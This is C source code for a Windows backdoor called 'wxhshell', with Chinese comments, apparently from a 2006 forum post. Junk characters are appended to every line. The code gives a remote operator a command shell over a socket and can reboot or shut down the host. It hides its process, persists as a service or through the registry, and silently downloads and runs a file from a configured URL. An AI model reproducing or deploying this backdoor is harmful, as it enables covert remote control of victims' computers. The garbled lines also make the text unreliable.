  else { ;UAi>//#   
Qvx[F:#Tk  
    switch(cmd[0]) { P4VMGP  
  )Z"  
  // 帮助 ~~B`\!n7  
  case '?': { t++ a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5Y3L  
    break; N| N#-  
  } s2X<b `  
  // 安装 S#:yl>2  
  case 'i': { TpSv7kT]  
    if(Install()) -r'/PbV0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e!B>M{  
    else ^E#i5d+'N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . XVW2ISv  
    break; it#,5#Y:  
    } \ ";^nk*  
  // 卸载 gB)Cmw*  
  case 'r': { k vQ] }`a  
    if(Uninstall()) V#P`FX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVetG,["  
    else 'Zket=Sm;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r3BQo[ 't  
    break; y"L7.B  
    } og~Uv"&?T  
  // 显示 wxhshell 所在路径 0#d:<+4D  
  case 'p': { l(<=JUO;  
    char svExeFile[MAX_PATH]; 6 6%_p]U  
    strcpy(svExeFile,"\n\r"); m+a\NXWR?N  
      strcat(svExeFile,ExeFile); l} =@9A@  
        send(wsh,svExeFile,strlen(svExeFile),0); v\3 \n3[u  
    break; LK}*k/eG  
    } &*nq.l76X`  
  // 重启 +@"Ls P  
  case 'b': { Gpb<,v_3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 11g_!X -g@  
    if(Boot(REBOOT)) ~ubcD6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DmA~Vj!a^y  
    else { "T4buTXJ  
    closesocket(wsh); *De}3-e1b  
    ExitThread(0); \+T U{vr  
    } _pN:p7l(  
    break; *I6W6y;E=  
    } wxc24y  
  // 关机 /n3Qcht  
  case 'd': { u==`]\_@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }I3m8A  
    if(Boot(SHUTDOWN)) ; "K"S[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1KMSBLx  
    else { "|^-Yk\U  
    closesocket(wsh); [a[.tR38e  
    ExitThread(0); buu /Nz$  
    } ,vh $G 7D  
    break; N87)rhXSo,  
    } ;ipT0*Y  
  // 获取shell EZee kxs  
  case 's': { WZQ EBXs  
    CmdShell(wsh); 6g-Q  
    closesocket(wsh); (~ `?_  
    ExitThread(0); Jmml2?V-c  
    break; M?ObK#l!_  
  } 8:sQB% BB  
  // 退出 ]/6i#fTw  
  case 'x': {  X? l5}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W' Y?X]xr  
    CloseIt(wsh); 1$#1  
    break; 8n"L4jb(:  
    } {bP )Fon  
  // 离开 ]pq(Q:"P,5  
  case 'q': { s|[CvjL#0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w\zNn4B})A  
    closesocket(wsh); *w OU=1+  
    WSACleanup(); I R|[&}z  
    exit(1); HPc~wX  
    break; yBl9a-2A  
        } |r+w(TG  
  } ?P%-p  
  } V)Sw\tS6g  
^5n#hSqZ=M  
  // 提示信息 <;lwvO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X-y3CO:&@h  
} &hcD/*_Z  
  } ;wa#m1  
v];P| Fi  
  return; :SD#>eD0  
} g-4j1yJV<  
4Ifz-t/  
// shell模块句柄 < #zd]t  
int CmdShell(SOCKET sock) O<P(UT"  
{ 1$)}EL   
STARTUPINFO si; SajasjE!^1  
ZeroMemory(&si,sizeof(si)); +n>p"+c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QmC#1%@a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  c+upoM  
PROCESS_INFORMATION ProcessInfo; MG,)|XpyWJ  
char cmdline[]="cmd"; ZV ;~IaBL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `d}t?qWS;F  
  return 0; #H]c/  
} 8/<+p? 3p>  
`Jj q5:\&  
// 自身启动模式 RqKkB8g  
int StartFromService(void) i<{:J -U|  
{ ~~3*o  
typedef struct :(YFIW`59  
{ 4YgO1}%G  
  DWORD ExitStatus; K]&i9`>N   
  DWORD PebBaseAddress; M=54xTh0Y  
  DWORD AffinityMask; nyL$z-I)  
  DWORD BasePriority; N$.=1Q$F6  
  ULONG UniqueProcessId; _H"_&m$aDm  
  ULONG InheritedFromUniqueProcessId; !n<SpW;  
}   PROCESS_BASIC_INFORMATION; +xS<^;   
~NTKWRaR  
PROCNTQSIP NtQueryInformationProcess; Zg9VkL6Z6  
CT/>x3o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~(`&hYE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >mj WC) U  
d*dPi^JjC  
  HANDLE             hProcess; 7l4}b^>/`  
  PROCESS_BASIC_INFORMATION pbi; n)PqA*  
q)3QmA~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T>|Y_3YO_a  
  if(NULL == hInst ) return 0; OHv4Yy]$B  
{s0!hp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a1shP};pK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OkMAqS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gi\Z"MiBZ  
SB`xr!~A]  
  if (!NtQueryInformationProcess) return 0; Y,?kS dS  
d~q7!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @<yYMo7  
  if(!hProcess) return 0; .I]EP-  
%<|cWYM="z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s_3a#I  
?CldcxM#  
  CloseHandle(hProcess); ( 6ucA  
!ScEA=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y!T8(  
if(hProcess==NULL) return 0; ,n`S ,  
uR.`8s|  
HMODULE hMod; 0J6* U[  
char procName[255]; X o[GD`t  
unsigned long cbNeeded; -EE}HUP)  
<Y"HC a{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :1;"{=Yx}  
Z&n#*rQ7[  
  CloseHandle(hProcess); :o:Z   
r::0\{{r"p  
if(strstr(procName,"services")) return 1; // 以服务启动 [ OS& eK 8  
T%A"E,#  
  return 0; // 注册表启动 ==S^IBG  
} 8gG;A8  
0./Rdf=-1j  
// 主模块 iI;np+uYk  
int StartWxhshell(LPSTR lpCmdLine) hW`o-'  
{ _p?s[r*  
  SOCKET wsl; j Y(|z*|  
BOOL val=TRUE; 4]ko  
  int port=0; [ #fz [U  
  struct sockaddr_in door; k\RS L  
EHfB9%O7y  
  if(wscfg.ws_autoins) Install(); R 5\|pC  
FD5OO;$  
port=atoi(lpCmdLine); >3}N;  
/]of @  
if(port<=0) port=wscfg.ws_port; ^a$L9p(  
8tO.o\)h  
  WSADATA data; q{+}0!o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L\R(//V  
eIOMW9Ivt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2cwJ);Eg2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xIH= gK  
  door.sin_family = AF_INET; 5=b6B=\*~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fu?u~QZ8  
  door.sin_port = htons(port); ?J-D6;  
\YHl(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +|H,N7a<  
closesocket(wsl); ^])s\a$  
return 1; \odns  
} $~\Tl:!#?  
7X>*B~(R  
  if(listen(wsl,2) == INVALID_SOCKET) { DcG=u24Xy!  
closesocket(wsl); \Y`psSf+  
return 1; Ua4P@#cU  
} 6R*eJICN  
  Wxhshell(wsl); 7`e<H8g  
  WSACleanup(); ?O"zp65d(  
^gkKk&~A5?  
return 0; e7tio!  
N4b{^JkF  
} DR]4Tcz#  
.KtK<Ps[S  
// 以NT服务方式启动 wL}X~Xa3i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~qX wQ@  
{ )\7Cp-E-W  
DWORD   status = 0; 2`> (LH  
  DWORD   specificError = 0xfffffff; w ~^{V4V  
or bz`IQc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JSx[V<7m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7PwH&rI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ocz21gl-?`  
  serviceStatus.dwWin32ExitCode     = 0; D[6wMep^n  
  serviceStatus.dwServiceSpecificExitCode = 0; *1T~ruNqa  
  serviceStatus.dwCheckPoint       = 0; )<Mo.  
  serviceStatus.dwWaitHint       = 0; r%>EiHpCU  
vu&ny&=`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [^XD @  
  if (hServiceStatusHandle==0) return; c` N_MP  
U[:=7UABU?  
status = GetLastError(); +{}p(9w@  
  if (status!=NO_ERROR) [&l+Ve(  
{ 4q(,uk&R[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zy.v[Y1!  
    serviceStatus.dwCheckPoint       = 0; .-[]po  
    serviceStatus.dwWaitHint       = 0; 1#8~@CQ ::  
    serviceStatus.dwWin32ExitCode     = status; {Z1-B60P  
    serviceStatus.dwServiceSpecificExitCode = specificError; %d<UMbS^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +n)bWB%  
    return; *}_i[6_\E  
  } WI.+9$1:P  
%IDl+_j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (`u+(M!^  
  serviceStatus.dwCheckPoint       = 0; 'Mhnu2d  
  serviceStatus.dwWaitHint       = 0; >GzH_]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (cI@#x  
} !1@o Z(  
c(Fo-4K  
// 处理NT服务事件,比如:启动、停止 ]\]mwvLT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ymT]ow6C  
{ .'4@Yp{=  
switch(fdwControl) A7eYKo q  
{ [?(qhp!  
case SERVICE_CONTROL_STOP: #a'CoJs   
  serviceStatus.dwWin32ExitCode = 0; 1_StgFu u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \&U"7gSL  
  serviceStatus.dwCheckPoint   = 0; bjN"H`Q  
  serviceStatus.dwWaitHint     = 0; vV*/"'>  
  { Z=< D`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K6@ %@v  
  } FI)0.p  
  return; !!m GsgnW  
case SERVICE_CONTROL_PAUSE: ,mKUCG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gKgdu($NJ  
  break; R;uP^  
case SERVICE_CONTROL_CONTINUE: Q8]S6,pt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~q}]/0-m  
  break; ''k}3o.K[  
case SERVICE_CONTROL_INTERROGATE: '*t<g@2$  
  break; @V+KL>Qw  
}; 5d}bl{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); buWF6LFC  
} xsrdHP1  
2uMSeSx$  
// 标准应用程序主函数 :U]Pm:ivTU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |HPb$#i  
{ E/D@;Ym18  
3wfJ!z-E8  
// 获取操作系统版本 vkW;qt}yO  
OsIsNt=GetOsVer(); 'C;KNc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r4iT 9 D  
&yqk96z  
  // 从命令行安装 z^y -A ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6'e 'UD  
O<XNI(@  
  // 下载执行文件 6+C]rEY/o  
if(wscfg.ws_downexe) { db3.X~Cn#s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'lgS) m  
  WinExec(wscfg.ws_filenam,SW_HIDE); -Byl~n3*D  
} 7]hRAhJ8I  
g%D.sc)69  
if(!OsIsNt) { 0 4oMgH>Vd  
// 如果时win9x,隐藏进程并且设置为注册表启动 XHY,;4  
HideProc(); L rV|Y~  
StartWxhshell(lpCmdLine); "\M3||.!  
} s5X51#J#~  
else SK_N|X].  
  if(StartFromService()) 0,iG9D 7  
  // 以服务方式启动 ? :F Jc[J  
  StartServiceCtrlDispatcher(DispatchTable); SV^[)p )  
else P%<MQg|k`  
  // 普通方式启动 Ac/LNqIs  
  StartWxhshell(lpCmdLine); 1z@ ncqe  
5rJ7CfVq  
return 0; 18y'#<X!  
}
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只看该作者 1 发表于: 2006-10-10
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